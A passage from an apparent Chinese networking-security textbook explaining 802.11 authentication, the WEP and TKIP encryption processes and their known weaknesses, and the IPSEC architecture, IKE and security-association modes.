原始状态。在这个状态下，站点和网络处于互不相认的状态。此时，为了达到入网的目的，站点需要向AP发出认证请求帧（Authentication Frame）。这个帧中包含了站点的基本身份信息，如站点地址、站点当前状态等。AP收到这个认证帧后，如果能够确认站点为合法用户，就会回复站点的认证帧，通知站点身份得到确认，可以进行入网的后续操作。此时站点进入通过认证但未连接状态。如果AP不能确认站点的身份，就会回复认证取消帧（Deauthentication Frame），拒绝站点的入网请求。

通过认证但未连接状态。在这个状态下，为了保证与网络的成功连接以及后续的通信畅通，站点需要传送本身的一些物理信息给AP。这些信息包括站点支持的发送速率、站点认可的网络识别号等。AP在收到站点发出的连接请求帧后，通过比较自身的网络特性来决定是否允许站点入网。倘若站点满足在网络中通信的各项要求，AP就会回复连接响应帧，通知站点入网成功。如果站点的物理特性不能满足网络的要求，AP在回复的连接响应帧中拒绝站点加入网络。这时站点连接失败，无法入网。

成功入网状态。在这个状态下，站点成功地通过了认证与连接这两个过程，可以通过AP和网络中的任一站点自由地通信。

为了最大限度地提供安全保障和灵活性，IEEE 802.11规定了两种认证方式：开放系统认证和共享密钥认证。开放系统认证（Open System Authentication）是所有认证算法中最简单的一种。在这个过程中，只有两个步骤：登录的站点首先发送一个认证帧请求认证，AP 经过确认后返回一个认证帧表明同意或拒绝该站点登录。这种方式简单易用，任何站点都可以随时加入网络，适用于机场、餐馆等对安全要求不高的公用网。而共享密钥认证（Shared Key Authentication）先假定每个站点通过一个独立于802.11网络的安全信道，已经接收到一个共享密钥。这个登录过程需要四个步骤：

（1）首先，登录的站点发送认证帧请求登录。

（2）AP经过确认后返回一个认证帧表明同意登录或拒绝登录。如果拒绝登录，则该次认证过程结束；若同意登录，AP会在该认证帧中添加一段随机数据（Challenge Text），发送给站点。

（3）站点将收到的随机数据用共享密钥进行WEP加密处理，再将其发送回AP进行验证。

（4）AP 验证加密正确后，在最后的认证帧中通知站点是否通过认证。至此，认证过程结束，站点转入连接过程（Association）。

由于共享密钥认证需要知道密钥才可登录，它提供了较高的安全等级。在这种情况下，非法入侵者无法通过认证过程，因而无法侵入网络。

但是通观整个认证过程，AP 自始至终处于主导地位，站点始终处于被动地位。整个认证过程实际上是单向的，即 AP 对站点的认证。这个过程保证了站点身份的合法性，即非法的站点无法通过认证加入到网络中。但这个过程实际上存在着安全隐患。当有恶意用户伪装成 AP 引诱合法用户入网时，此时站点在和伪 AP 通信的过程中会泄露重要的安全信息。比如在共享密钥认证过程中，伪 AP 引诱站点对一段数据进行加密。在收到站点发出的密文的情况下，伪 AP 通过比较明文和密文就有可能反向破译出入网密钥，从而利用该密钥成功登录网络，对网络进行蓄意破坏。

为了避免出现这种情况，IEEE在后续的IEEE 802.11i标准中除了保留原有的站点到AP的认证过程之外，还增加了 AP 到站点的反向认证过程。只有当 AP 和站点之间的双向认证都通过以后，站点才会接收AP发送的各类管理帧和数据帧，AP也只有在这种情形下才会承认站点的合法身份，允许它在网络中自由通信。这样就成功地堵住了认证过程中的漏洞。

2.WEP算法原理

为了保证数据在无线信道中的安全，IEEE 802.11定义了一种等效于有线局域网络数据安全性能的算法，用来保护网络的合法用户不被窃听，这种算法称为 WEP 算法。该算法利用一个外部的密钥管理程序来分发网络中所使用的密钥，而网络中的站点则利用这个密钥对要传送的数据进行加密，或者利用这个密钥对接收到的数据进行解密。

图3.7显示了WEP的基本原理。


图3.7 WEP的基本原理图



图中，明文（plaintext）通过加密模块产生密文（ciphertext）。这个过程可以表示为

Ek
 (P)=C

式中明文P经过加密过程E得到密文C，k为加密过程中所使用的密钥。

密文在传输过程中有可能会被窃听者拦截，但由于窃听者不知道密钥，所以对内容一无所知。当收方收到密文后，使用解密模块对其解密，就得到发送方发送的明文。这个过程可以表示为

Dk
 (C)=P

IEEE 802.11规定WEP使用RC4算法对数据进行加密/解密。RC4算法是一个对称的算法，加密/解密使用同一个密钥，如下式所示：

Dk
 (Ek
 (P))=P

下面详细介绍WEP的操作原理。

3.WEP的加密过程

采用了RC4算法的WEP机制是电子密码书的一种形式。在WEP机制中，要传送的明文和一个等长的伪随机密钥序列按位做异或运算，最后得到密文。解密时，密文和同一个密钥序列按位做异或运算，结果得到明文。在这个过程中，伪随机密钥序列由WEP算法产生。

加密的过程可以参见图 3.8。首先，密钥和一个初始向量（Initialization Vector，IV）连接生成种子（seed）进入到伪随机数发生器PRNG中。在这里，初始向量使用24位的随机数，密钥长度为40位。PRNG输出一个和发送数据等长的伪随机密钥序列（key sequence），发送数据包括MPDU和四个字节的校验码（Integrity Check Value，ICV）。为了防止未授权用户篡改数据，对明文使用一个完整性算法计算ICV，然后用密钥序列对明文和ICV加密，输出包括IV和密文。


图3.8 WEP加密过程示意图



WEP PRNG是框图中的关键部分，因为它把一个相对而言比较短的密钥转成一个任意长的密钥序列。这样，在两个站点之间就只需要传送较短的密钥，从而减小了密钥分配的复杂性。

在加密过程中，初始向量值是一个随机数，每次加密都会变化，即传完每一个MPDU后更换IV，而密钥保持不变。由于新的初始向量值使WEP PRNG产生不同的密钥序列，所以每次传送数据时都相当于使用了另外一个密钥。对接收方来说，只要知道了初始向量值，就可以产生和加密过程相同的密钥序列。应用此密钥序列，可以成功地对密文进行解密。从这个角度来说，初始向量扩展了密钥的使用期，同时也提供了算法所要求的自同步功能。

WEP算法仅对帧体进行加密，对帧头则不作处理。这样做的原因很简单，如果对帧头加密，倘若窃听者知道发送站和接收站的地址（Address 1和Address 2），那么就有可能从这些信息中恢复出密钥，进而获取数据信息。同时，如果对帧头加密，接收端的站点只有在对帧头解密后才能知道是否需要接收该帧，这样也大大增加了操作的复杂性。

对于WEP算法保护的数据帧，帧体的头四个字节包含 MPDU 的IV域。PRNG 种子长64位，IV的0～23位对应PRNG种子的0～23位，密钥的0～39位对应PRNG种子的24～63位。PRNG种子长度对应于RC4密钥长度。IV后跟着MPDU，然后传送ICV。WEP ICV长32位，WEP的完整性校验算法采用CRC32算法。

加密后的帧格式见图3.9。


图3.9 加密后的数据帧格式



可见加密过程给原来的帧体增加了8个字节，4个为IV域，4个用来存放ICV值。ICV值只是根据数据域PDU计算出来的。

IV域包括三部分：三个字节存放前述的初始向量，两位表示密钥标识，6位的Pad域。密钥标识用来选择四个可能的密钥之一给帧体解密，Pad域全部置零。

发送方用密钥标识通知接收方使用正确的密钥。同时，作为种子的初始向量值也应该传送给接收方，使其有能力恢复密钥序列。所以，在发送的数据中包含了加密时使用的初始向量值和使用的密钥序号。由于窃听者不知道密钥，因此，即使他接收到初始向量值，也无法恢复密钥序列，从而无法恢复原始数据。

ICV域是一个包含CRC32值的32比特域，它的校验算法和FCS的算法是一致的。在这个域中，CRC单元对未加密的数据计算校验和，校验和作为ICV域。接收端在解密后计算数据的校验和，以确定数据是否被篡改过。最后在信道中传送的是含有初始向量值、密文和ICV的信息的数据帧。需要强调的是，在网络中，仅有数据帧可能会被加密处理，管理帧和控制帧不会作加密处理。

4.WEP的解密过程

图3.10是站点接收到帧后的解密过程，它是加密过程的逆过程。在这个过程中，解密模块根据收到的初始向量值产生密钥序列，用它和密文作异或运算得到解密后的明文。为了防止数据在传输过程中被篡改，解密模块还会计算明文的校验码ICV′，并将它和收到的校验码ICV做比较。若比较结果不同，则说明收到的 MPDU 出错，从而抛弃该数据帧，并且向MAC管理程序报错。否则，接收到的数据帧会被传到上层做进一步的处理。

5.WEP协议的隐患

由于设计者的疏忽，在实际应用中使用 WEP 存在着一定的隐患，这主要表现在以下两个方面。


图3.10 WEP解密过程示意图



（1）初始向量的复用

根据3.1.2节分析的WEP加密原理，WEP采用24位初始向量加上共享密钥对数据进行加密。因此，实际密钥的组合共有 224
 种，每次发送时，发送端用其中的一个密钥对数据进行加密。

假设有一个任务繁重的AP，网络中的数据包长度皆为1.5k字节长，系统只支持11Mbit/s的传输速率。若忽略前导码和 PLCP 数据包头所占用的时间，则经过[image: ]
 小时后，系统的初始向量值即会被复用，也即系统此时发生了用同一密钥加密两帧数据的情况。但在真实情况中，许多数据包远小于1.5k字节，因此系统可能在很短的时间内就会出现密钥复用。

在密钥复用的情况下，若以 v 表示初始向量，k 表示当前使用的密钥，密钥序列表示为RC4(v，k)，而加密前的明文用P表示，则加密后的密文C可表示为：

C=P⊕RC4(v,k )

若每次使用相同的RC4（v，k），设有加密后的数据流C1、C2，有

C1=P1⊕RC4(v,k )

C2=P2⊕RC4(v,k )

C1⊕C2=[P1⊕RC4(v,k)]⊕[P2⊕RC4(v,k)]

=P1P 2

若P1已知，则相应的P2可完全获得。一个有助于攻击者的地方是，802.11传递的数据包头通常具有极大的相关性。比如IP和ARP的包头通常含有字符串0xAA，IPX包头通常含有字符串0xFF或0xE0等。利用这些数据，可以很容易地猜测数据包的前几个字节的数据。由此可见，密钥复用所带来的后果是灾难性的。

（2）针对数据完整性的攻击

除了初始向量复用的问题外，在网络中传送的数据还有可能遭受到所谓的 Active 攻击（Fragmentation和Bit-flipping等形式的攻击）。以Bit-flipping攻击为例，攻击者有可能翻转数据帧中的一个或数个比特，同时保证数据包的校验和仍然为一个正确的数值。在这种情况下，传输的数据已经被攻击者非法篡改，可是接收方对此却毫不知情。

由于循环冗余校验（CRC）是一种线性运算，具有线性叠加性质。从而攻击者可以在不破坏校验和的条件下，有目的地修改传输密文。WEP 数据帧篡改的原理如图 3.11 所示。在这里，M表示PDU的明文，c(M)表示校验和ICV。因此，加密前的明文P=＜M，c(M)＞，密

文C=RC4(v，k)⊕＜M，c(M)＞。

假设初始向量v和密文C正由A站向B站传送。数据内容为＜v，C＞，图3.11中Δ表示篡改数据，M′表示篡改后的明文，C′表示篡改后的密文。


图3.11 WEP数据帧篡改原理图



可以证明：根据CRC循环冗余校验的线性特性，由任意的篡改数据Δ可以计算出它的校验和c(Δ)，进而由C'=C⊕＜Δ，c(Δ)＞伪造篡改后的密文C'，从而使攻击者无须绞尽脑汁重新构造循环冗余校验和c(M')。

因为C⊕＜Δ，c(Δ)＞

=RC4(v，k)⊕＜M，c(M)＞⊕＜Δ，c(Δ)＞

=RC4(v，k)⊕＜MΔ，c(M)⊕c(Δ)＞

=RC4(v，k)⊕＜M'，c(M')＞

=C'

由此可见，当传输中的密文C篡改为C'，接收方解密C' 后获得明文M'=M⊕Δ，因为c(M')是M' 的完整性校验和，所以接收方不能够察觉到数据M已被篡改为M'。


3.1.3 TKIP算法原理


以上两个问题引起了IEEE委员会的高度重视，经过广泛的征询意见，最终IEEE 802.11 TGi 采用了被称为 TKIP（Temporal Key Integrity Protocol）的方法来解决初始向量复用和Active攻击的问题。实际上，802.11i定义了TKIP、CCMP和WRAP三种加密机制，其中TKIP与WEP一样使用RC4作为加密算法，可以应用于已经售出的无线设备当中。而CCMP基于AES加密算法和CCM认证机制，可以大大提高无线网络的安全程度。

IEEE 802.11i中规定使用802.1x认证和密钥管理方式，基于EAP建立无线网络的认证机制以进一步加强安全性。通过该认证机制，802.11i可以动态地获得成对密钥，建立四方握手认证机制，用户既可以使用内置的密码进行认证也可以使用独立的认证服务器完成认证。

1.TKIP的加密过程

TKIP的加密过程如图3.12所示。

在TKIP中，每次采用一个128位的临时密钥TK（Temporal Key），这是通信双方共享的密钥。同时设定发送站点的地址为 TA，经过第一阶段的密钥混合后产生 128 位的 TTAK （TKIP mixed Transmit Address and Key）密钥。TKIP单元为每个MPDU依次分配一个序列号TSC（TKIP Sequence Counter），TSC是一个48位的计数器，它的一部分作用相当于IV，每加密一帧自动递增。在第二阶段的密钥混合中，根据TTAK密钥和TSC产生各帧不同的128位的WEP种子，并把它们和MPDU送到WEP模块参与加密。


图3.12 TKIP的加密过程示意图



TKIP建议在建立连接时采用802.1X认证协议，由802.1X分配各用户不同的。每次连接也不同的临时密钥TK。这样TK、TA和TSC经两级混合函数后得到每一个用户、每一次连接、每一个方向、每一个数据帧不同的 RC4密钥，极大地增强了安全性。同时若 TSC计数值达到最大，TKIP将强制密钥更新，以获得新的TK，从而避免了一个密钥使用时间过长导致的安全性降低。TKIP将计数器TSC封装在WEP IV域和EIV（Extend IV）域内，从而实现对WEP的后向兼容。

2.消息完整码

TKIP使用了一种新的保护数据的方法，称为消息完整码（Message Integrity Code，MIC）校验算法，目前在TKIP中采用的MIC算法是Michael算法。经分析，64位输出的Michael算法的保护强度虽然不是很高，但是由于传输时对MIC码加密，并且使用了反制措施，即一旦接收端完整性校验失败，则强制中断当前连接、删除当前认证和加密密钥、记录错误信息，一分钟后再重新连接，所以TKIP对Michael的使用仍然是安全的。

从图3.13中可以看出，从上层送下来的数据包通常被称为MSDU，即MAC层服务数据包（MAC Service Data Unit）。TKIP根据MSDU的源地址SA、目标地址DA、优先级和整个数据包计算 MIC 值，并将结果添加在 MSDU 的后面。当数据包要发送时，它们会被 MAC层分成一个或多个更小的数据包，此时的数据包称做MPDU。这样分包的目的是为了增强发送成功的几率，提高通信的可靠性。在分包的过程中，含有MIC信息的整个MSDU被分成多个独立的MPDU发送。


图3.13 TKIP MIC和IEEE 802.11协议关系图



接收方在接收了所有的MPDU后进行重组，然后对重组后得到的MSDU计算其MIC值。接收方将经过计算得到的MIC值和添加在数据包尾部的MIC值进行比较。如果在接收过程中数据包在传送过程中曾被篡改，那么计算得到的MIC值和传送的数据包中的 MIC值必定不一致。据此 MAC 可以认为数据包在传送过程中曾被篡改，从而舍弃该数据包。由上可以看出，MIC是在MSDU级对数据实施了保护。

3.TKIP的解密过程

图3.14给出了TKIP解密时的框图。


图3.14 TKIP解密过程示意图



解密是加密的逆过程，主要实现步骤如下：

在WEP对一个收到的MPDU解密之前，TKIP从IV和EIV中提取TSC和密钥标识，并抛弃序列号出错的数据帧，然后用混合运算构造WEP种子。

将经过TKIP混合运算得到的128位的WEP种子和当前处理的MPDU一起送到WEP模块进行解密。

解密中如果发现解析出的ICV值与计算得到的ICV值不一致，那么这个数据包会被认为是无效数据而被舍弃。

经过ICV校验的MPDU重组得到完整的MSDU，然后计算MIC值，MIC验证是根据MSDU的源地址、目标地址、优先级和MSDU数据（除了MIC域）计算MIC' 值，并将结果和收到的MIC按位比较。

如果收到的MIC和本地计算结果一样，则MSDU通过MIC验证，TKIP会将MSDU送到上层做进一步的处理。如果这两个数据中任何一位不一样，则验证失败，接收者抛弃数据包，并且实施反制措施。

4.TKIP的MPDU格式

增加TKIP功能后，加密的数据帧格式如图3.15所示。

为了保证和以前的设备兼容，IV域和修改前基本一致。TKIP保留了4个字节的IV/KeyID域，同时在MPDU的IV域和加密数据之间插入4个字节的扩展IV域，并将8个字节的MIC添加到MSDU的数据域，使MIC也成为加密数据的一部分。

在密钥标识字节中的ExtIV位表示是否存在扩展IV域。如果ExtIV位置‘0’，表示只传送不带扩展IV域的数据帧；如果ExtIV位置‘1’，则在IV域后跟着4个字节的扩展IV域。对于TKIP必须将ExtIV位置‘1’，从而提供4个字节的扩展IV域；对于WEP的数据包，则将ExtIV位置为‘0’。


图3.15 TKIP加密数据帧格式



扩展后的IV为6个字节，分别用IV0、…、IV5表示。字节IV0～IV3参与TKIP第一阶段的混合运算，字节IV4和IV5参与TKIP第二阶段的混合运算。一旦IV的低16位全部翻转（从0xFFFF变到0x0000），则IV的高32位（扩展IV域）必须加1。

在TKIP的混合函数中，通常用TSC表示扩展后的IV，TSC也分为6个字节，即TSC=TSC0 TSC1 TSC2 TSC3 TSC4 TSC5，TSC和图3-15中RC4密钥的对应关系如下：

RC4Key[0]=TSC0

RC4Key[2]=TSC1

考虑到和以前设计网卡的兼容性，TKIP功能应该能够被禁止。这样在和旧版本的不支持TKIP功能的网卡通信时，大家可以使用共同支持的WEP功能。


3.2 IPSEC



3.2.1 IPSEC体系结构


在TCP/IP体系结构中，IP层本身并不提供任何安全保证：IP 包可能会被监听、拦截或者重放，地址可以被伪造，内容可能会被修改。因此，IP层本身不提供源认证，也无法保证包含的是发送方当初放在其中的原始数据，更无法保证原始数据保密性。IPSEC就是为了解决这些问题而提出来的。它采取的具体保护形式包括：源验证、无连接数据的完整性验证、数据内容的保密性、抗重放攻击以及有限的数据流机密性保证。IPSEC的本意是希望在IP层统一解决目前TCP/IP体系结构中的各个安全问题。这样，就不必要在传输层和应用层考虑复杂的安全通道的问题了。然而，事与愿违的是，在IPSEC提出多年之后，IPSEC似乎并没有取得预料中的成功，传输层安全通道TLS/SSL、SSH等一大批传输层、应用层的安全协议似乎得到了更为广泛的应用。甚至在VPN的各种可选方案中，IPSEC似乎也没有占据明显的优势。这种情况产生的原因，可以大致归纳为几点，一方面，IP层是网络中进行路由的核心一层，IPSEC的使用，不可避免地加重了路由器的负担，在TCP/IP的架构中，一个核心的设计思想就是将安全留给端系统去进行考虑，因此，对于IP层的一些安全扩展，很难得到一些将吞吐率放到首位的网络运营商和设备商的支持，而TLS/SSL/SSH等，在这方面则有很大的优势；另一方面，IPSEC 体系结构的复杂也给自己的使用增加了人为的障碍，IPSEC 对 NAT的排斥，以及密钥分布协议的复杂，使得IPSEC的应用出现很多问题。

IPSEC协议族主要由三个协议构成：头认证（AH）协议、封装安全负载（ESP）协议以及公钥基础设施协议。IP 头认证（AH）提供无连接的完整性验证、数据源认证、选择性抗重播服务。当不需要保密（或不允许，例如政府限制加密的使用）时，使用AH协议是适合的。AH也为IP头选项部分提供认证。这在某些情况下是有必要的，例如如果在收发双方间，IPv4选项或IPv6扩展头的完整性必须被保护到路由时，AH能提供这种服务（除了IP头不可预料的、易变的部分）。

封装安全负载（ESP）提供加密、有限传输流加密。它也提供无连接的完整性验证、数据源认证、抗重播服务。ESP可有选择地为传输提供保密。ESP也可以有选择地提供认证服务、增强抗重播服务。由ESP提供的认证范围比AH所提供的要窄，例如，ESP头外部的IP头就不受保护。如果仅上层协议需要被认证，那么ESP认证是个合适的选择并且它具有比使用AH封装ESP时更高的空间效率。要注意的是尽管保密和认证均是可选的，但是它们不能都被省略。它们中至少有一个必须被选择。

为正确封装及提取IPSEC 数据包，有必要采取一套专门的方案，将安全服务/密钥与要保护的通信数据联系到一起；同时要将远程通信实体与要交换密钥的IPSEC 数据传输联系到一起。换言之，要解决如何保护通信数据、保护什么样的通信数据以及由谁来实行保护的问题。这样的构建方案称为安全关联（Security Association，SA）。在IPSEC中，AH、ESP都使用安全关联进行管理，所有AH和ESP的实现都必须支持下面描述的安全关联的概念。所谓安全关联（SA），就是一个单向连接，它为通过它的传输提供安全服务。SA通过AH或ESP（但不是两者同时）来提供安全服务。如果AH和ESP同时用于传输流的保护，那么应该创建两个或多个 SA为传输流提供保护。通常为了安全，两台主机间或两个安全网关间或两个安全连接间（每个方向一个）都需要双向通信。安全关联由三方面的因素决定：

第一个是安全参数索引（SPI），该索引存在于IPSEC 协议头内，是一个任意的32位值，它与目的IP地址和安全协议结合，惟一地标识这个数据报的SA。从1至255的这组SPI值是由Internet Assigned Numbers Authority（IANA）保留给将来使用的；在建立SA时目的系统可以在其他的值中选择。SPI 的值为 0是保留给本地、特定实现使用的，不允许在线路上发送。例如，密钥管理实现可以使用SPI的0值表示当IPSEC实现要求它的密钥管理实体建立新SA，但SA仍然没有建立时，没有SA存在。

第二个是IPSEC 协议值，即ESP或者AH。

第三个是要向其应用SA 的目标地址——它同时决定了方向。

通常，SA 是以成对的形式存在的，每个朝一个方向。既可人工创建它，亦可采用动态创建方式。SA驻留在安全关联数据库（SADB）内。若用人工方式加以创建，SA 便没有存活时间的说法。除非再用人工方式将其删除，否则便会一直存在下去。若用动态方式创建，则SA 有一个存活时间与其关联在一起。这个存活时间通常是由密钥管理协议在IPSEC 通信双方之间加以协商而确立下来的。存活时间（TTL）非常重要，因为受一个密钥保护的通信量（或者类似地，一个密钥保持活动以及使用的时间）必须加以谨慎地管理。若超时使用一个密钥，会为攻击者侵入系统提供更多的机会。

穿过独立SA的IP数据报通过严密的安全协议（AH或ESP）受到保护。对于特殊的传输流，而仅采用单一的SA是不能实现的。在这种情况下，使用多重SAs以实现安全策略是必要的。术语安全关联束或SA束定义为一个SA序列（sequence），传输必须通过它来满足一个安全策略。策略定义了序列的顺序（值得注意的是由束组成的 SA可能终止于不同的端点。例如，一个 SA可以在移动主机、网关和另一个网关之间延展，嵌套的 SA 可以延展到网关后的主机）。

IPSEC 策略由安全策略数据库（Security Policy Database，SPD）加以维护。在SPD 这个数据库中，每个条目都定义了要保护的是什么通信、怎样保护它以及和谁共享这种保护。对于进入或离开 IP 堆栈的每个包，都必须检索 SPD 数据库，调查可能的安全应用。对一个 SPD条目来说，它可能定义了下述几种行为：丢弃、绕过以及应用。其中，丢弃表示不让这个包进入或外出；绕过表示不对一个外出的包应用安全服务，也不指望一个进入的包进行了保密处理；而应用是指对外出的包应用安全服务，同时要求进入的包已应用了安全服务。对那些定义了应用行为的SPD 条目，它们均会指向一个或一套SA，表示要将其应用于数据包。

IPSEC 通信到IPSEC 策略的映射关系是由选择符（Selector）来建立的。选择符标识通信的一部分组件，它既可以是一个粗略的定义，也可以是一个非常细致的定义。IPSEC 选择符包括：目标IP地址、源IP 地址、名字、上层协议、源和目标端口以及一个数据敏感级（假如也为数据流的安全提供了一个IPSEC系统）。这些选择符的值可能是特定的条目、一个范围或者是待定。在策略规范中，选择符之所以可能出现待定的情况，是由于在那个时刻，相关的信息也许不能提供给系统。举个例子来说，假定一个安全网关同另一个安全网关建立了IPSEC 通道，它可指定在该通道内传输的（部分）数据是网关背后的两个主机之间的IPSEC通信。在这种情况下，两个网关都不能访问上层协议或端口，因为它们均被终端主机进行了加密。待定也可作为一个通配符使用，表明选择符可为任意值。假定某个 SPD 条目将行为定义为应用，但并不指向SADB 数据库内已有的任何一个SA，那么在进行任何实际的通信之前，首先必须创建那些SA。如果这个规则用于自外入内的进入（Inbound）通信，而且SA尚不存在，则按照IPSEC 基本架构的规定，必须丢弃该数据包。假如该规则用于自内向外的外出（Outbound）通信，则通过Internet 密钥交换便可。IPSEC 结构定义了SPD 和SADB 这两种数据库之间如何沟通，这是通过IPSEC 处理功能——封装与拆封来实现的。此外，它还定义了不同的IPSEC 实施方案如何共存。

SA 的管理可以有两种方式，手动管理是最简单的管理方式。个人可以使用键入数据和与安全通信有关的安全连接管理数据，来手动地配置每一个系统。手动技术适用于较小的静态的环境下，但是扩展性不好。例如，一个公司可能在几个站点的安全网关使用IPSEC建立一个虚拟专用网。如果站点数目少，因为所有站点都在一个单一的管理域，为手动管理技术提供一个可行的上下文环境。此例中，在使用一个手动配置密钥的组织中，安全网关可以有选择地保护来自和发向其他站点的传输，而不会保护其他目的地的传输。当只有选中的通信需要安全传输时，此法也是合适的。IPSEC的使用完全限制在一个只有少量主机或者网关的组织中时，相同的观点也适用。尽管存在其他方法，手动管理技术经常使用静态配置的对称的密钥。

IPSEC的广泛传播和使用要求一个Internet标准的、可升级的自动SA管理协议。这样的支持为面向用户和面向会议的加密，可以使AH和ESP抗重播特性的使用更容易，可以供应SA的随选生成（注意对SA二次加密的概念实际上意味着用一个新的SPI生成一个新的SA，通常意味着一个自动 SA/密钥管理协议的使用的过程）。IPSEC 使用的缺省自动密钥管理协议是IPSEC域解释的Internet 密钥交换（Internet Key Exchange）IKE协议。其他自动SA管理协议也可以使用。当使用一个自动SA/密钥管理协议时，对于一个单一ESP SA，此协议的输出可用来生成多个密钥。出现这种情况是因为：一方面，加密算法或认证算法有可能使用多个密钥（例如，三层的DES）；另一方面，当加密算法和认证算法都被使用时，也需要有多个密钥。密钥管理系统为每一个密钥提供了一个独立的比特串，或者生成一个比特串，所有密钥都从其中取出。如果提供一个单一比特串，则需要保证：将比特串映射到密钥的系统部分在SA两端以相同方式工作。为了保证IPSEC实现在SA的每一端为相同密钥使用相同比特，而且不管系统哪部分将比特串分为单个的密钥，加密密钥必须从第一个比特取出而且认证密钥必须从剩下的比特取出。每一个密钥的比特数由相关RFC规范定义。在多加密密钥或者多认证密钥情况下，算法规范必须指定使用提供给算法的单一比特串的相关选择顺序。


3.2.2 Internet密钥交换


如上所述，如果对安全关联不进行手动管理，就必须有 Internet 密钥交换（IKE）协议来进行自动的管理。IKE的用途就是在IPSEC 通信双方之间，建立起共享安全参数及验证过的密钥（亦即建立安全关联关系）。IKE协议是Oakley和SKEME协议的一种混合，并在由ISAKMP 规定的一个框架内运作。ISAKMP是Internet安全关联和密钥管理协议的简称，即Internet Security Association and Key Management Protocol。ISAKMP定义了包格式、重发计数器以及消息构建要求。事实上，它定义了整套加密通信语言。Oakley和SKEME定义了通信双方建立一个共享的验证密钥所必须采取的步骤。IKE 利用 ISAKMP 语言对这些步骤以及其他信息交换措施进行表述。

IKE 实际上是一种常规用途的安全交换协议，可用于策略的磋商，以及验证加密材料的建立，适用于多方面的需求，如SNMP v3、OSPF v2等。IKE采用的规范是在解释域（Domain of Interpretation，DOI）中制订的。针对IPSEC存在着一个名为RFC 2407的解释域，它定义了IKE 具体如何与IPSEC SA进行协商。如果其他协议要用到IKE，每种协议都要定义各自的DOI。IKE 采用了安全关联的概念，但IKE SA的物理构建方式却与IPSEC SA不同。IKE SA定义了双方的通信形式。举例来说，用哪种算法来加密IKE通信；怎样对远程通信方的身份进行验证；等等。随后，便可用IKE SA在通信双方之间提供任何数量的IPSEC SA。因此，假如一个SPD条目含有一个NULL SADB指针，那么IPSEC 方案采取的行动就是将来自SPD 的安全要求传达给IKE，并指示它建立IPSEC SA。而且如果愿意，亦可使通信对方的身份具有同样的特性。通过一次IKE密钥交换，可创建多对IPSEC SA。而且单独一个IKE SA可进行任意数量这种交换。正是由于提供了丰富的选择，才使得IKE除了包容面广以外，还具有高度的复杂性。IKE协议由打算执行IPSEC的每一方执行；IKE通信的另一方也是IPSEC 通信的另一方。换言之，假如想随远程通信实体一道创建IPSEC SA，那么必须将IKE 传达给那个实体，而非传达给一个不同的IKE实体。

IKE协议是基于请求响应来设计的，要求同时存在一个发起者（Initiator）和一个响应者（RESPonder）。其中，发起者要从IPSEC 那里接收指令，以便建立一些SA。这是由于某个外出的数据包同一个SPD条目相符所产生的结果。它负责为响应者对协议进行初始化。IPSEC的SPD会向IKE指出要建立的是什么，但却不会指示IKE 怎样做。至于IKE以什么方式来建立IPSEC SA，要由它自己的策略设定所决定。IKE 以保护组（Protection suite）的形式来定义策略。每个保护组都至少需要定义采用的加密算法、散列算法。由于通信双方决定了一个特定的策略组后，它们以后的通信便必须根据它进行，所以这种形式的协商是两个IKE通信实体第一步所需要做的。双方建立一个共享的秘密时，尽管事实上有多种方式都可以做到，但IKE无论如何都只使用一个Diffie-Hellman交换。进行Diffie-Hellman交换这一事实是必须的。但是，对其中采用的具体参数而言，却是可以商量的。

IKE从Oakley文档中借用了五个组。其中三个是传统交换，对一个大质数进行乘幂模数运算；另外两个则是椭圆曲线组。Diffie-Hellman 交换以及一个共享秘密的建立是 IKE 协议的第二步。Diffie-Hellman交换完成后，通信双方已建立了一个共享的秘密，只是尚未验证通过。它们可利用该秘密（在IKE的情况下，则使用自它衍生的一个秘密）来保护自家的通信。但在这种情况下，却不能保证远程通信方事实上真是自己所信任的。因此，IKE 交换的下一个步骤便是对Diffie-Hellman 共享秘密进行验证，同时理所当然地，还要对IKE SA本身进行验证。IKE定义了五种验证方法：预共享密钥；使用数字签名标准，即DSS的数字签名；使用RSA公钥算法的数字签名；用RSA进行加密的nonce 交换；以及用加密nonce进行的一种校验，它与其他加密的nonce方法稍有区别。我们将IKE SA 的创建称为阶段一，阶段一完成后，阶段二便开始了。

在这个阶段中，要创建IPSEC SA。针对阶段一，可选择执行两种交换。一种叫作主模式（Main Mode）交换，另一种叫作主动模式（Aggressive Mode）交换。其中，主动模式的速度较快，但主模式更显灵活。而阶段二仅能选择一种交换模式，即Quick Mode （快速模式）。

这种交换会在特定的IKE SA 的保护之下，协商拟定IPSEC SA（IKE SA 是由阶段一的某种交换所创建的）。在默认情况下，IPSEC SA使用的密钥是自IKE 秘密状态衍生的。伪随机nonce 会在快速模式下进行交换，并与秘密状态进行散列处理，以生成密钥，并确保所有SA都拥有独一无二的密钥。

为正确地构建IPSEC SA，协议的发起者必须向IKE 指出：在自己的SPD中，哪些选择符与通信的类别相符。这方面的信息将采用身份载荷，在快速模式下进行交换。它对哪些通信可由这些SA 保护进行了限制。


3.2.3 安全关联的使用模式


AH和ESP协议可以独立使用，也可以组合使用以提供IPv4和IPv6环境下所需的安全服务。每一个协议支持两种使用模式：传输模式和隧道模式。传输模式 SA是两台主机间的安全连接。在IPv4环境中，原IP数据包如图3.16所示。传输模式安全协议头紧接在IP 头和任何选项之后，在任何更高层协议之前（例如 TCP 或 UDP），见图 3.17。在 IPv6环境中，安全协议头出现在基本IP头和扩展之后，但也许出现在目的选项的前或后，并在更高层协议之前。在采用ESP时，传输模式SA仅为更高层协议安全服务提供，而不为IP头或任何ESP头以前的扩展头提供服务，见图3.18。在采用AH时，这种保护也被扩展到IP头的可选部分、扩展头的可选部分和可选项（包括IPv4头、IPv6 Hop-by-Hop扩展头，或IPv6目的扩展头）。


图3.16 原IP数据包（IPv4）




图3.17 使用AH之后（IPv4，传输模式）




图3.18 使用ESP后（IPv4，传输模式）



在 IPv6 环境中，AH/ESP 头被看作是一个端到端的载荷，因而应该出现在逐跳（hop-by-hop）、路由（routing）和分片扩展头（fragmentation extension headers）之后。目的选项扩展头（destination options extension header）既可以出现在AH/ESP头之前，也可以在AH/ESP头之后，这依赖于期望的语义。但是，因为ESP仅保护ESP之后的字段，通常它可能愿意把目的选项头放在ESP头之后。图3.19～图3.21图示了典型IPv6分组中AH/ESP传输模式位置。


图3.19 原IP数据包（IPv6）




图3.20 使用AH之后（IPv6，传输模式）




图3.21 使用ESP之后（IPv6，传输模式）



